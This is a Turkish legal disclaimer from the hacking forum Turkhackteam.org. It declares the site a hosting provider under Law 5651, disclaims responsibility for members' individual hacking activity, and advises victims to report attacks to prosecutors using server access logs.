Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.